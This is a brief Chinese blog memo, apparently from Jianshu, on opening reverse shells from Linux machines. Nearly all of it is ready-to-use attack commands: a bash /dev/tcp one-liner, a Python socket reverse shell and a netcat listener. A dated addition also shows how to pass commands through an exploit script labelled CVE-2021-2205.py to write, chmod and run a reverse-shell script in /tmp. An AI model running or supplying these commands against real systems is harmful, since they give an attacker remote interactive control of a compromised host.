linux反彈shell小記錄

在某些情況下可能需要我們反彈一個shell來更好的執行某些命令。就可以用到這些命令:

Bash反彈shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

使用python反彈,反彈shell命令如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上監聽端口:

nc -lvvp 7777

2021-11-10新增寫文件反彈shell
反彈shell: (xxxx xxx xxx 代表運行POC的一些命令 然后 -c 后面是執行命令的地方)
xxxxxxx xxx xx -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh" 這條語句意思是代表,將反彈shell命令寫成sh腳本 到tmp目錄下
xxxx xxxx xxxx -c "chmod +x /tmp/1.sh" 這條語句意思是代表,對寫入成功的sh腳本加執行權限 CVE-2021-2205.py xxx xxx xxxx xxxxxx -c "/bin/bash /tmp/1.sh" 這條語句意思是代表,運行反彈shell腳本

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容